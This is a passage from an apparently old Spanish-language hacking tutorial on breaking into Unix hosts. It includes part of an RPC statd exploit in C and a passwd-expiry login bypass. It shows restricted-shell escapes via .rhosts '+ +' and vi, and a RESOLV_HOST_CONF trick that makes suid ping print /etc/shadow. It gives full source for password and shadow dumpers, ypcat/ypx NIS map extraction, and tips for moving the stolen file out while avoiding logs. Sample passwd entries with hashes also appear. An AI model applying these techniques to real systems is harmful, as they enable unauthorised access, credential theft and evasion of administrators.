exit(0);

}

target.sin_family=AF_INET;

target.sin_addr.s_addr=*(u_long *)hp->h_addr;

target.sin_port=0; /* ask portmap */

sd=RPC_ANYSOCK;

tm.tv_sec=10;

tm.tv_usec=0;

if ((cl=clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) {

clnt_pcreateerror("clnt_create");

exit(0);

}

stat=clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res,

(char *)&monres, tm);

if (stat != RPC_SUCCESS)

clnt_perror(cl, "clnt_call");

else

printf("stat_res = %d.\n", monres.res_stat);

clnt_destroy(cl);

}

Otro bug de System V (aunque es improbable que funcione) pero es bastante

aclarativo de cuales pueden llegar a ser las naturalezas de los bugs:

Existe un bug en Passwd+ o Npasswd que permite el acceso sin clave cuando

la validez de la anterior ha expirado.

Si el programa detecta que el usuario que quiere entrar (sabe quien es despues

de poner el login) tiene el mismo password demasiado tiempo, le pide

inmediatamente que lo cambie ðððSIN PEDIR EL PASSWORD ANTIGUO!!!,

saldria esto:

 

UNIX(r) System V Release 4.0 (good religious site)

login: priest

Sorry Passwd has expired

Change:

Y pones el que quieres y ya estas dentro :--> con una cuenta que tu has

determinado el passwd jeje

Para posteriores ediciones espero poner algunos mas, pero creo que es mejor

que ponga bastantes en la seccion de pillar root ke es mas interesante ke esto

:o)y ademas, sinceramente no se si vale la pena ya que se pueden encontrar

con facilidad en la red.

 

4.8.- OTROS METODOS

 

En fin, aqui solo voy a comentar que hay muchisimos mas metodos para

conseguir cuentas ... directamente con muchisimos otros bugs y xploits que

rulan por ahi, usando el metodo de la fuerza bruta por algun servicio ( ftp, pop3,

etc), spoofing, fallos de configuracion en ftp, alguna cuenta que pilles con un

sniffer, fallos en los rpc, mas xploits remotos, defectos de configuracion,

hijacking, etc... pero esto ya se comentara en posteriores ediciones si hay

ganas ;o) o quizas en textos especificos para esos temas ya que este texto es

de introduccion y tampoco lo quiero recargar demasiado.

 

5.- SALIR DE SHELL RESTRINGIDA

 

La idea es que una vez que tenemos una cuenta shell en un sitio y la shell esta

muy restringida y no podemos hacer nada ( hay veces que ni siquiera te deja

cambiar de directorio, ni ejecutar el gcc ni nada) hemos de buscar alguna

manera de tener una cuenta un poco mas decente.

Algunas veces, la solucion es probar con el login y el password de la shell pero

entrando por otros puertos como el ftp, rlogin, etc. y gracias a dios algunas

veces se obtienen cuentas con mejores prestaciones que la anterior. Puedes

escribir un + + en el fichero .rhosts y hacer un rlogin, etc...otras veces, entrando

por el ftp podemos sobreescribir algun fichero que sea el que nos esta

activando las restricciones... queda bastante claro no? :)

Asi ya podemos intentar pillar el fichero de passwd o ejecutar algun xploit para

pillar otras cuentas o el rOOt.

Otro metodo que a veces funciona, dependiendo de como se ha hecho esa

shell restringida (si esta bastante mal hecha) es el rulando un programa que

interactua con el shell como por ejemplo el vi:

:set shell=/bin/sh

y luego..

:shell

Otro sistema ke puede funcionar, si tienes una cuenta para mail es tocar el

.pinerc... es decir, bajarlo por ftp, tocarlo en tu maquina y volverlo a subir.

 

Si la cuenta no es muy restringida y deja correr el gcc, se puede compilar algun

programa en c que te deje acceder al fichero de passwd aunque no tengas

acceso a ese directorio. En la seccion de passwd y como cogerlos hay

programas de este tipo.

En fin, son metodos un poco cutres pero a veces funcionan. Ademas, en

general lo que se ha de hacer es examinar las variables de entorno que

tenemos en la shell y pensar si de alguna manera podemos inhabilitar las

restricciones aunque para esto se necesita tener un poco claro el unix.

 

6.- CRACKEAR PASSWORDS EN MAQUINAS UNIX

 

Suponiendo que con alguna de las tecnicas expuestas en el apartado anterior,

hemos conseguido el famoso fichero /etc/passwd, ahora hay que obtener los

passwd desencriptados.

 

6.1.- Introduccion y algoritmo de cifrado.

En los sistemas Unix, los logins y los passwords suelen estar en el fichero

/etc/passwd ( a no ser que esten shadow ).

En estos ficheros, el login es visible y el password esta encriptado por lo que

tienen una forma como la que se muestra a continuacion:

 

root:21gCqQc/zPWgU:0:0:Super-User:/:/bin/csh

sysadm:*:0:0:System V Administration:/usr/admin:/bin/sh

diag:*:0:996:Hardware Diagnostics:/usr/diags:/bin/csh

daemon:*:1:1:daemons:/:/dev/null

bin:*:2:2:System Tools Owner:/bin:/dev/null

uucp:*:3:5:UUCP Owner:/usr/lib/uucp:/bin/csh

sys:*:4:0:System Activity Owner:/var/adm:/bin/sh

adm:*:5:3:Accounting Files Owner:/var/adm:/bin/sh

lp::9:9:Print Spooler Owner:/var/spool/lp:/bin/sh

nuucp::10:10:Remote UUCP User:/var/spool/uucppublic:/usr/lib/uucp/uucico

auditor:*:11:0:Audit Activity Owner:/auditor:/bin/sh

dbadmin:*:12:0:Security Database Owner:/dbadmin:/bin/sh

rfindd:*:66:1:Rfind Daemon and Fsdump:/var/rfindd:/bin/sh

guest:zpB5nSLLjDOx2:998:998:Guest Account:/usr/people/guest:/bin/csh

4Dgifts::999:998:4Dgifts Account:/usr/people/4Dgifts:/bin/csh

will:5fg63fhD3d5gh:9406:12:Will Spencer:/home/fsg/will:/bin/bash

 

Donde cada campo viene separado por : y en los que el significado de cada

campo es:

Login: will

Password encriptado: 5fg63fhD3d5gh

Numero de identificacion del usuario (UID): 9406

Numero de identificacion del grupo al que pertenece (GID): 12

Nombre real: Will Spencer

Directorio Home: /home/fsg/will

Tipo de shell: /bin/bash

 

En algunas lineas, el campo password es "*". Este password encriptado es

invalido, o sea, no se corresponde con ningun password; por tanto, las cuentas

que tienen alguna "*" en el campo password son cuentas a las que no se podra

entrar y que son usadas por el sistema operativo.

Si en el fichero de pass en el lugar del password aparece :: quiere decir que

esa cuenta no tiene password, por lo que al introducir el login entras

directamente.

Respecto a la cadena de uid ( user identification) el "0" corresponde al rOOt.

Igualmente, si hay otros users con uid=0, estos usuarios son rOOt a todos los

efectos, o sea, tienen los mismos derechos que el rOOt ( nota para el que vaya

un poco perdido, el rOOt es la persona que tiene un poder absoluto sobre el

sistema pudiendo hacer todo lo que le plazca). Muchas veces solo habra un

user con id 0 pero a veces hay varios con lo que se facilita el trabajo :o)

Los usuarios que sin tener el uid=0 tienen el mismo gid que el rOOt, tambien

tienen algunos privilegios por el hecho de pertenecer al grupo del rOOt.

Igualmente, hay que observar los uid y los gid de otros personajes particulares

del sistema como wwwadmin, admin, www, bin , etc.

La siguiente cadena indica el directorio home, es decir al directorio que

entraras cuando entres a esa maquina. La ultima cadena indica el shell que

usaras por defecto cuando entres... hay varios tipos de shell.. sh, csh... pero

eso se comenta en cualquier sitio que hable sobre unix por lo que para

remitiros a las diferencias lo podeis mirar alli.

Vamos a hablar un poco sobre el algoritmo de cifrado:

El algoritmo de cifrado es el llamado DES, el cual era un algoritmo

practicamente indescifrable cuando se ideo, pero que con el paso del tiempo y

la tremenda evolucion de la tecnologia, cada dia se hace mas posible su

desencriptado, dada la velocidad de los ordenadores actuales.

Es casi imposible volver hacia atras a partir de un password para obtener la

palabra original. La unica forma que se conoce de romper DES es a fuerza

bruta, cosa que se consiguio a principios de 1997 en internet, con maquinas

distribuidas (lo mismo que ahora intentan con RC5). Tardaron 4 meses en

romperlo, y eso que tuvieron suerte y solo tuvieron que probar una peque¤a

parte de todas las posibles claves.

Otro aspecto a destacar es la existencia del password aging, es decir que los

password caducan. Esto es importante conocerlo ya que si los passwords se

renuevan habitualmente, tendremos que acelerar nuestras acciones si no

queremos que tras haber crackeado el fichero passwd, estos passwords ya

hayan sido cambiados :o(

Si existe el password aging, en el fichero de passwords las entradas seran del

tipo:

Pepe:cualquier,43:34:3:Pepe perez:/home/pepe

El formato es del tipo passwd,Mmww donde M es el maximo numero de

semanas que pueden pasar hasta que el password sea cambiado y m es el

minimo intervalo en el que puede ser cambiado mientras que ww indica cuando

fue la ultima vez que se cambio el password.

La relacion entre M, m y el numero real de semanas es:

Caracter Numero de semanas

. 0

/ 1

0-9 2-11

A-Z 12-37

a-z 38-63

Asi, en el ejemplo de Pepe, el password contiene la extension ,43 que quiere

decir que debe ser cambiado antes de 6 semanas ( ya que el 0 corresponde al

2) y que debe permanecer al menos 3.

Entonces la pregunta es.. si es casi imposible desencriptarlos.. ¨que hace

unix/linux para leer el fichero cuando entras al sistema??. Simplemente lo que

hace es leer el login y el passwd que introduces por el teclado, los encripta y si

coinciden con los correspondientes en el fichero /etc/passwd ya estas dentro!!!

Por tanto, la forma de atacar un fichero de passwords de Unix es precisamente

la misma que usa el sistema operativo para verificar un password: encriptar

muuuuchas palabras y comprobar cada una de ellas si coincide con el

password encriptado. Si coincide, ya tenemos un password, y si no, probamos

la siguiente palabra. Para hacer esto necesitamos tres cosas: una lista de

palabras a probar, una lista con los passwords encriptados y un programa que

haga las pruebas.

 

6.2.- Conseguir el fichero de passwd estando dentro de

la maquina

 

6.2.1.- Introduccion

 

Siempre que se tenga una cuenta en un sistema, debereis entrar en el para

pillar el famoso fichero de passwd sobre todo si esa cuenta os la ha pasado

otro hacker ya que el root puede darse cuenta que esa cuenta es peligrosa

para sus intereses y cerrarla.

Igualmente, antes de ir a pillarlo, haced un who para ver si esta el root.. aunque

muchas veces aparece el root y realmente no esta ya que es facil hacer esto

por lo que cada uno que vea lo que hace en estos casos aunque con un poco

de sentido comun es sencilla la determinacion a tomar.

Asi, si teneis el fichero de passwd tendreis muchisimas cuentas y os dara lo

mismo que cierren la cuenta con la que entrasteis en principio aunque esto

realmente no es asi por lo que no lo tomeis muy al pie de la letra ya que un root

que se de cuenta de que tiene un hacker rondando ( si el root controla el tema)

siempre tiene las de ganar en esta batalla :(

Ademas, es conveniente cambiar de cuentas para entrar al sistema ya que

como se comentara mas adelante parte de lo que hagais en un sistema UNIX

se queda en los ficheros de logs por lo que si no conseguis root y borrais estos

logs, vuestras huellas estaran ahi y nada mas que el root tenga algo de interes

por la seguridad vera que ha habido un tio haciendo cosas inusuales, pero todo

esto ya es otro cantar que ya se hablara mas adelante.

El resumen de los anteriores parrafos es que lo mejor es una vez con una

cuenta en el sistema, pillar el fichero de passwords y luego hacerse root y

borrar todas las huellas... el problema es que no siempre todo esto es tan

sencillo :(

En fin, suponemos que hemos conseguido una cuenta por alguno de los

metodos anteriores, asi, si la cuenta no es muy restringida siempre podeis

hacer un "cat /etc/passwd". Si no tienen Shadow Passwords o NIS aparecera

una lista como la que habeis visto al principio. Sino, aparecera algo similar a

esto:

 

root:21gCqQc/zPWgU:0:0:Super-User:/:/bin/csh

sysadm:*:0:0:System V Administration:/usr/admin:/bin/sh

diag:*:0:996:Hardware Diagnostics:/usr/diags:/bin/csh

daemon:*:1:1:daemons:/:/dev/null

bin:*:2:2:System Tools Owner:/bin:/dev/null

uucp:*:3:5:UUCP Owner:/usr/lib/uucp:/bin/csh

sys:*:4:0:System Activity Owner:/var/adm:/bin/sh

adm:*:5:3:Accounting Files Owner:/var/adm:/bin/sh

lp::9:9:Print Spooler Owner:/var/spool/lp:/bin/sh

nuucp::10:10:Remote UUCP User:/var/spool/uucppublic:/usr/lib/uucp/uucico

auditor:*:11:0:Audit Activity Owner:/auditor:/bin/sh

dbadmin:*:12:0:Security Database Owner:/dbadmin:/bin/sh

rfindd:*:66:1:Rfind Daemon and Fsdump:/var/rfindd:/bin/sh

guest:zpB5nSLLjDOx2:998:998:Guest Account:/usr/people/guest:/bin/csh

4Dgifts::999:998:4Dgifts Account:/usr/people/4Dgifts:/bin/csh

will:5fg63fhD3d5gh:9406:12:Will Spencer:/home/fsg/will:/bin/bash

 

Aunque el problema que se puede dar en muchos de estos sistemas, el

directorio que contiene el fichero passwd (este o no este shadow) no es de

acceso a usuarios que no sean root, por lo que en principio no conseguiremos

ver su contenido, pero eso se hara posible gracias a sucesivas llamadas a

getpwent(). Debemos nombrar este archivo como getpass y direccionar su

salida a un fichero tal como sigue:

cc cogerPass.cc -o cogerPass > fichero

---------------------------------------Cortar a partir de aqui------------------

#include <iostream.h>

#include <pwd.h>

 

struct passwd *pw;

 

main()

{

while ((pw = getpwent()) != NULL)

{

cout << pw->pw_name;

cout << ":" << pw->pw_passwd;

cout << ":" << pw->pw_uid;

cout << ":" << pw->pw_gid;

cout << ":" << pw->pw_gecos;

cout << ":" << pw->pw_dir;

cout << ":" << pw->pw_shell << endl;

}

endpwent();

}

------------------------------------- hasta aqui -------------------------------------

y tendreis el archivo de passwd renombrado con el nombre fichero con lo que

ya podeis hacer lo que querais con el. Se os ocurre algo ¨?? XDD

 

6.2.2.- PASSWORD SHADOWING

 

En todo el texto nos hemos referido a este concepto sin explicar lo que es.

Posiblemente lo tendria que haber comentado antes, pero espero que quien lea

se leera todo el texto antes de hacer nada. En fin, no me enrollo, password

shadowing consiste en un sistema de seguridad en el cual en el archivo

etc/passwd no estan los ficheros encriptados, sino que habra algo del tipo:

root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:

daemon:x:2:2:daemon:/sbin:

adm:x:3:4:adm:/var/adm:

lp:x:4:7:lp:/var/spool/lpd:

sync:x:5:0:sync:/sbin:/bin/sync

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

halt:x:7:0:halt:/sbin:/sbin/halt

mail:x:8:12:mail:/var/spool/mail:

news:x:9:13:news:/usr/lib/news:

uucp:x:10:14:uucp:/var/spool/uucppublic:

operator:x:11:0:operator:/root:/bin/bash

games:x:12:100:games:/usr/games:

man:x:13:15:man:/usr/man:

postmaster:x:14:12:postmaster:/var/spool/mail:/bin/bash

nobody:x:-2:100:nobody:/dev/null:

ftp:x:404:1::/home/ftp:/bin/bash

guest:x:405:100:guest:/dev/null:/dev/null

bhilton:x:501:100:Bob Hilton:/home/bhilton:/bin/bash

web:x:502:100:Web Master:/home/web:/bin/bash

mary:x:503:100:Mary C. Hilton:/home/mary:/bin/bash

En los que como se puede observar, los passwd encriptados han sido

sustituidos por una x aunque podria ser un * u otros simbolos. En este tipo de

sistemas de seguridad, el verdadero archivo de passwd esta en un fichero que

no es el /etc/passwd, pero el problema es que ese archivo no es accesible para

todo el mundo, sino que es de solo lectura por el root por lo que si eres un

usuario normal, no podras leerlo en principio.

A continuacion se muestra en que directorio puede estar el fichero shadow en

los sistemas operativos mas usuales (obtenida de FAQ 2600):

Para determinar el tipo de unix que corre, usa uname -a cuando estes ya

dentro de la maquina, aunque se puede ver con un telnet u otros metodos.

Unix Path Token

-----------------------------------------------------------------

AIX 3 /etc/security/passwd !

or /tcb/auth/files/<first letter #

of username>/<username>

A/UX 3.0s /tcb/files/auth/?/ *

BSD4.3-Reno /etc/master.passwd *

ConvexOS 10 /etc/shadpw *

ConvexOS 11 /etc/shadow *

DG/UX /etc/tcb/aa/user/ *

EP/IX /etc/shadow x

HP-UX /.secure/etc/passwd *

IRIX 5 /etc/shadow x

Linux 1.1 /etc/shadow *

OSF/1 /etc/passwd[.dir|.pag] *

SCO Unix #.2.x /tcb/auth/files/<first letter *

of username>/<username>

SunOS4.1+c2 /etc/security/passwd.adjunct ##username

SunOS 5.0 /etc/shadow

<optional NIS+ private secure maps/tables/whatever>

System V Release 4.0 /etc/shadow x

System V Release 4.2 /etc/security/* database

Ultrix 4 /etc/auth[.dir|.pag] *

UNICOS /etc/udb *

 

Una manera de conseguir el fichero de passwd si esta shadow y si usa libc

5.4.7 ( algunos aun la usan) es aprovechar que algunos comandos como ping,

traceroute, rlogin y ssh estan suid por lo que se podra explotar como sigue:

Ejecutas bash o sh

Export RESOLV_HOST_CONF=/etc/shadow ( o el fichero en el que este

dependiendo del sistema operativo)

Ping asdf

Y si no ha fallado nada te imprimira el shadow jeje. Con este metodo se

pueden hacer mas kosas... pero es tan obvio que lo omito okis? jeje

 

6.2.3.- NIS

 

Otro concepto que se ha comentado a lo largo del texto es el de NIS por lo que

a continuacion explico un poco lo que es.

NIS (Network Information System) es un protocolo de nivel de aplicacion muy

util para la gestion de configuraciones cliente/servidor en sistemas UNIX.

Anteriormente era conocido como Yellow Pages y es un sistema de bases de

datos distribuidas que proporcionan un metodo uniforme para el

almacenamiento y de recuperacion de la informacion sobre los recursos de red.

En lugar de gestionar archivos como /etc/host /etc/passwd,/etc/group

independientemente en cada maquina de la red, este sistema posibilita que

solo haya una base de datos compartida por el resto de las maquinas clientes

en un servidor central.

En fin, tras este rollo os preguntares y que mas nos da esto del NIS??, pues

bien, es que una de la informacion ( mapas) que es compartida son los

famosos ficheros de password que nosotros buscamos jeje.

Asi, si estas dentro de una maquina con NIS y os sale algo que parece un

shadow en el fichero /etc/passwd posiblemente haya un NIS. Esto se puede

identificar como se ha comentado, mirando la ultima linea del fichero de

passwd y si es algo del tipo "+::0:0:::" o mirando los procesos del sistema, ya

que el NIS siempre tendra corriendo ypserv y algunos procesos mas que

empiezan por yp, es decir, yp*. Bien, si ya tienes claro que corre NIS, lo que

tienes que intentar es usar el ypcat tal como sigue:

ypcat /etc/passwd > ~/passwd

y bajate el fichero passwd de tu directorio HOME usando FTP o como quieras.

Mas adelante se comentaran varios metodos.

En caso de que no tengais privilegios para ejecutar el "ypcat", o en caso de que

el "ypcat" no este o por si acaso lo que aparece al ejecutar el "ypcat" vuelve a

ser basura otra vez, tendreis que recurrir a otros programas para obtener los

passwords como por ejemplo el pwget que tambien es usado para pillar

shadows:

-----------------------------CUT HERE--------------------------------------------------------------

# This is a shell archive. Remove anything before this line,

# then unpack it by saving it in a file and typing "sh file".

# This archive contains:

# README Makefile pwget.1 pwget.c

LANG=""; export LANG

echo x - README

cat >README <<'@EOF'

These utilities provided a common command level access to /etc/group and

/etc/passwd much in the same way as getgrent(), getpwent(), et al.

This is especially useful if your system is running NFS and Yellow Pages. With

Yellow pages, there is no easy command level interface for this information that

will give you the same results as the libc routines.

These routines use "getopt()" so make sure your system has it.

Edit the Makefile for your machine/os and for the owner, group, mode

and destination of the binary and the man page.

Install with: make install.

File list:

README - This file.

Makefile - Makefile.

pwget.1 - Man Page.

pwget.c - Command source.

@EOF

chmod 664 README

echo x - Makefile

cat >Makefile <<'@EOF'

# Configure CFLAGS/LDFLAGS for your machine/OS

# for HP-UX and other Sys V systems:

CFLAGS= -O -DSYSV

# for VAX 4.[23] BSD, SunOS and other BSD based systems:

# CFLAGS= -O -DBSD

# Need getopt for pwget, include library that has it.

# System V based system (like HP-UX), 4.3BSD and SunOS have null

LDFLAGS.

LDFLAGS=

# 4.2BSD requires getopt from someplace.

# LDFLAGS= -lgetopt

MODE=755

OWNER=bin

GROUP=bin

DEST=dest

MANMODE=444

MANOWNER=bin

MANGROUP=bin

MANDEST=man

all: grget pwget pwget.cat

install: installcmd installman

installcmd: pwget

strip pwget

# use install for BSD and cpset for SYSV

# install -c -o $(OWNER) -g $(GROUP) -m $(MODE) pwget $(DEST)

cpset pwget $(DEST) $(MODE) $(OWNER) $(GROUP)

ln $(DEST)/pwget $(DEST)/grget

installman: pwget.1

# use install for BSD and cpset for SYSV

# install -c -o $(MANOWNER) -g $(MANGROUP) -m $(MANMODE)

pwget.1 $(MANDEST)

cpset pwget.1 $(MANDEST) $(MANMODE) $(MANOWNER)

$(MANGROUP)

grget: pwget

ln pwget grget

pwget: pwget.o

cc $(LDFLAGS) -o pwget pwget.o

pwget.o: pwget.c

cc $(CFLAGS) -c pwget.c

pwget.cat: pwget.1

tbl pwget.1 | nroff -man -T > pwget.cat

clean:

/bin/rm -f pwget.o pwget grget

clobber: clean

@EOF

chmod 664 Makefile

echo x - pwget.1

cat >pwget.1 <<'@EOF'

.TH PWGET UTIL "" "" ""

.ad b

.SH NAME

pwget, grget \- get password and group information

.SH SYNOPSIS

.B pwget

.RB [ " \-n" " name"

.RB | " \-u" " uid " ]

.PP

.B grget

.RB [ " \-n" " name"

.RB | " \-g" " gid " ]

.br

.SH DESCRIPTION

.I Pwget\^

and

.I grget\^

are used to access the information found in

.B /etc/passwd

and

.BR /etc/group .

These routines provide a common access method

whether using the Yellow Page network database or not.

The output of these routines is sent to standard output.

With no options,

.I pwget

and

.I grget

output all of the data found using

.IR getpwent( LIBC )

and

.IR getgrent( LIBC )

respectively.

When options are given, only specified entries are searched for.

.PP

The options for

.I pwget

are:

.RS

.TP .8i

.BI \-n " name"

Output the first entry that matches using

.BI getpwnam( name ).

.TP

.BI \-u " uid"

Output the first entry that matches using

.BI getpwuid( uid ).

.RE

.PP

The options for

.I grget

are:

.RS

.TP .8i

.BI \-n " name"

Output the first entry that matches using

.BI getgrnam( name ).

.TP

.BI \-g " gid"

Output the first entry that matches using

.BI getgrgid( gid ).

.RE

.SH RETURN VALUE

These routines return 0 upon success, 1 when

a specific search fails and 2 upon error.

.SH WARNINGS

If the Yellow Page network database is in use and the

YP client daemon,

.IR ypbind (ADMIN),

is not connected to a YP server daemon,

.IR ypserv (ADMIN),

then these utilities will wait until such a connection is

established. These routines can be terminated in this

condition by sending a SIGINT signal to the process (see

.IR kill (UTIL)).

.SH AUTHOR

Pwget and grget were developed by Hewlett-Packard Company.

.SH FILES

.TS

l l.

/etc/group Local group data file

/etc/passwd Local password data file

.TE

.SH SEE ALSO

getgrent(LIBC), getpwent(LIBC), group(FILE), passwd(FILE).

@EOF

chmod 644 pwget.1

echo x - pwget.c

cat >pwget.c <<'@EOF'

#include <stdio.h>

#include <grp.h>

#include <pwd.h>

#ifdef SYSV

#include <string.h>

#else /* not SYSV but BSD */

#include <strings.h>

#endif /* SYSV / BSD */

int atoi(), getopt();

char *arg0;

#define GRGET 1

#define PWGET 2

int mode; /* Mode of operation, either GRGET or PWGET. */

main(argc, argv)

int argc;

char **argv;

{

int printgr(), printpw();

int c;

extern char *optarg;

extern int optind;

struct group *grp;

struct passwd *pwd;

int anyflag = 0,

gflag = 0,

nflag = 0,

uflag = 0;

int gid, uid;

char *name, *opts;

mode = 0;

#ifdef SYSV

if ((arg0 = strrchr(argv[0], '/')) == NULL)

#else /* not SYSV but BSD */

if ((arg0 = rindex(argv[0], '/')) == NULL)

#endif /* SYSV / BSD */

arg0 = argv[0];

else

arg0++; /* Start after the '/' */

if (strcmp(arg0, "grget") == 0)

mode = GRGET;

else if (strcmp(arg0, "pwget") == 0)

mode = PWGET;

else

usage();

switch(mode)

{

case GRGET:

setgrent();

opts = "g:n:";

break;

case PWGET:

setpwent();

opts = "u:n:";

break;

}

while ((c = getopt(argc, argv, opts)) != EOF)

{

switch (c)

{

case 'g':

if (anyflag != 0)

usage();

gflag++;

anyflag++;

gid = atoi(optarg);

break;

case 'n':

if (anyflag != 0)

usage();

nflag++;

anyflag++;

name = optarg;

break;

case 'u':

if (anyflag != 0)

usage();

uflag++;

anyflag++;

uid = atoi(optarg);

break;

case '?':

usage();

break;

}

}

if (argv[optind] != NULL)

usage();

if (gflag)

{

if ((grp = getgrgid(gid)) != NULL)

printgr(grp);

else

exit(1);

}

else if (nflag)

{

if (mode == GRGET)

{

if ((grp = getgrnam(name)) != NULL)

printgr(grp);

else

exit(1);

}

else if (mode == PWGET)

{

if ((pwd = getpwnam(name)) != NULL)

printpw(pwd);

else

exit(1);

}

}

else if (uflag)

{

if ((pwd = getpwuid(uid)) != NULL)

printpw(pwd);

else

exit(1);

}

else

{

if (mode == GRGET)

{

while ((grp = getgrent()) != NULL)

printgr(grp);

}

else if (mode == PWGET)

{

while ((pwd = getpwent()) != NULL)

printpw(pwd);

}

}

switch(mode)

{

case GRGET:

endgrent();

break;

case PWGET:

endpwent();

break;

}

exit(0);

}

 

usage()

{

switch(mode)

{

case GRGET:

fprintf(stderr, "usage: %s [ -g gid | -n name ]\n", arg0);

break;

case PWGET:

fprintf(stderr, "usage: %s [ -n name | -u uid ]\n", arg0);

break;

default:

fprintf(stderr, "Call as either grget or pwget\n");

break;

}

exit(2);

}

 

printgr(g)

struct group *g;

{

char **chr;

int comma;

if (g != NULL)

{

printf("%s:%s:%d:", g->gr_name, g->gr_passwd, g->gr_gid);

/* prints "grp1,grp2,grp3, ... ,grpn" */

for (comma = 0, chr = g->gr_mem; *chr != NULL; chr++)

printf("%s%s", ((comma==0)?comma++,"":","), *chr);

printf("\n");

}

}

 

printpw(p)

struct passwd *p;

{

if (p != NULL)

{

printf("%s:%s", p->pw_name, p->pw_passwd);

#ifdef SYSV

if (strcmp(p->pw_age, "") != 0)

printf(",%s", p->pw_age);

#endif /* SYSV */

printf(":%d:%d:%s:%s:%s\n", p->pw_uid, p->pw_gid,

p->pw_gecos, p->pw_dir, p->pw_shell);

}

}

@EOF

chmod 666 pwget.c

exit 0

------------------------------------------CUT HERE-------------------------------------------------

 

Una vez lo teneis en la maquina objetivo, lo compilais con "cc -o pwget

pwget.c", y ejecutarlo ("./pwget"), con lo que obtendreis por pantalla la lista de

passwords. Si quereis la lista en un fichero, solo teneis que redireccionar la

salida de la pantalla a un fichero:

$ ./pwget > fichero

Ahora adjunto otro programita que siempre es bueno tenerlo a mano por si el

pwget da alguna pega o algo y que sirve para obtener los password shadow es

el siguiente.

Su uso es gcc shadow.c -o shadow o cc shadow.c -o shadow y luego

./shadowpw >> password. Asi obtenendremos el fichero de passwd en el

fichero password.

------------------------------------------CUT HERE-------------------------------------------------

/* This source will/should print out SHADOWPW passwd files. */

 

struct SHADOWPW { /* see getpwent(3) */

char *pw_name;

char *pw_passwd;

int pw_uid;

int pw_gid;

int pw_quota;

char *pw_comment;

char *pw_gecos;

char *pw_dir;

char *pw_shell;

};

struct passwd *getpwent(), *getpwuid(), *getpwnam();

 

#ifdef elxsis?

 

/* Name of the shadow password file. Contains password and aging info */

 

#define SHADOWPW "/etc/shadowpw"

#define SHADOWPW_PAG "/etc/shadowpw.pag"

#define SHADOWPW_DIR "/etc/shadowpw.dir"

/*

* Shadow password file pwd->pw_gecos field contains:

*

* <type>,<period>,<last_time>,<old_time>,<old_password>

*

* <type> = Type of password criteria to enforce (type int).

* BSD_CRIT (0), normal BSD.

* STR_CRIT (1), strong passwords.

* <period> = Password aging period (type long).

* 0, no aging.

* else, number of seconds in aging period.

* <last_time> = Time (seconds from epoch) of the last password

* change (type long).

* 0, never changed.n

* <old_time> = Time (seconds from epoch) that the current password

* was made the <old_password> (type long).

* 0, never changed.ewromsinm

* <old_password> = Password (encrypted) saved for an aging <period> to

* prevent reuse during that period (type char [20]).

* "*******", no <old_password>.

*/

 

/* number of tries to change an aged password */

 

#define CHANGE_TRIES 3

 

/* program to execute to change passwords */

 

#define PASSWD_PROG "/bin/passwd"

 

/* Name of the password aging exempt user names and max number of entires

*/

 

#define EXEMPTPW "/etc/exemptpw"

#define MAX_EXEMPT 100

 

/* Password criteria to enforce */

 

#define BSD_CRIT 0 /* Normal BSD password criteria */

#define STR_CRIT 1 /* Strong password criteria */

#define MAX_CRIT 1

#endif elxsi

#define NULL 0

main()

{

struct passwd *p;

int i;

for (;1;) {;

p=getpwent();

if (p==NULL) return;

printpw(p);

}

}

 

printpw(a)

struct SHADOWPW *a;

{

printf("%s:%s:%d:%d:%s:%s:%s\n",

a->pw_name,a->pw_passwd,a->pw_uid,a->pw_gid,

a->pw_gecos,a->pw_dir,a->pw_shell);

}

 

/* SunOS 5.0 /etc/shadow */

/* SunOS4.1+c2 /etc/security/passwd.adjunct */

------------------------------------------CUT HERE-------------------------------------------------

 

Ademas existe un programa llamado YPX que sirve para extraer estos mapas

(incluido el fichero passwd, donde estan incluidos todos las passwords de los

usuarios) de un servidor de NIS aunque la maquina en la que estemos no sea

una maquina cliente. Para conseguirlo buscalo en la red en cualquier buscador

o posiblemente este en el web de donde te bajes este texto :o). Hay otros

programas de ese estilo como ypsnarf, etc.

Su uso es muy sencillo ya que solo tienes que hacer:

ypx -m passwd nombre_dominio_nis

Ademas, tened en cuenta las importantes ventajas que tiene el tener una

cuenta en un sistema con nis.. creo que no hace falta que os lo explique tras el

rollo que ya he contado no?.. si alguno no lo tiene claro que se relea el texto

jeje.

 

6.3.- DISTINTOS METODOS PARA BAJAROS EL

FICHERO DE PASSWD UNA VEZ LO TIENES BAJO

CONTROL

 

Una vez tenemos el fichero de passwd en un archivo mas o menos bajo

nuestro control, es decir que ya hemos pillado el shadow o tenemos acceso

directamente al passwd, hemos de bajar esa informacion a nuestra maquina.

Hay varios sistemas:

1.- Usar el ftp, corriendo el ftp en la maquina delante de la que tu estas sentado

y usar el get para pillar el fichero de passwd. Este sera el metodo usual pero en

algunos casos esto no sera posible debido a algun metodo de seguridad. Una

variante de esto es configurar en tu maquina el ftp y usar el ftp desde la

maquina victima y hacer un put (para subir el fichero) a tu maquina desde la

maquina victima. Tambien teneis que tener en cuenta que el ftp tiene un fichero

de logs adicional por lo que tendreis que tenerlo en cuenta. Un consejo para

este caso puede ser hacer un cat passwd > cualquiera y luego bajar el fichero

"cualquiera" y asi en los logs no queda registrado que os habeis bajado el

fichero passwd.

2.- Si el fichero de passwd no es muy grande, podemos abrir una ventana en

nuestra maquina local y usar el copiar y pegar entre la ventana que tienes en la

maquina victima y la ventana que tenemos en nuestra maquina. Es un poco

cutre pero funciona :o). Por si alguien no lo sabe, en linux se copia con el boton

izquierdo del raton y se pega con el central o pulsando los dos (izquierdo y

derecho) a la vez dependiendo de la configuracion. Este metodo es cutre pero

no da tanto el cante ya que en los logs solo aparece un cat y no aparece que te

has bajado el /etc/passwd por ftp !

3.- Usar el Kermit

Para bajar el fichero via Kermit o Zmodem necesitareis que vuestro programa

de telnet soporte esos protocolos y que la maquina Unix en la que estais

tambien los soporte (o sea, tenga los programas instalados). El programa de

Kermit suele estar en casi todos los sitios:

$ kermit

kermit> set file type ascii (o "text", segun las maquinas)

kermit> set send pack 1000

kermit> set rec pack 1000

kermit> set file type 2 (o 3, como querais)

kermit> send fichero

... Download->Kermit

CTRL+C

kermit> quit

$

 

4.- Usar el ZModem/Ymodem/Xmodem.

Podreis usar este sistema en caso de tenerlo instalado:

$ sz fichero

... Download->ZModem

$

5.- Usar el mail aunque solo se debe hacer si la cuenta esta restringida al mail

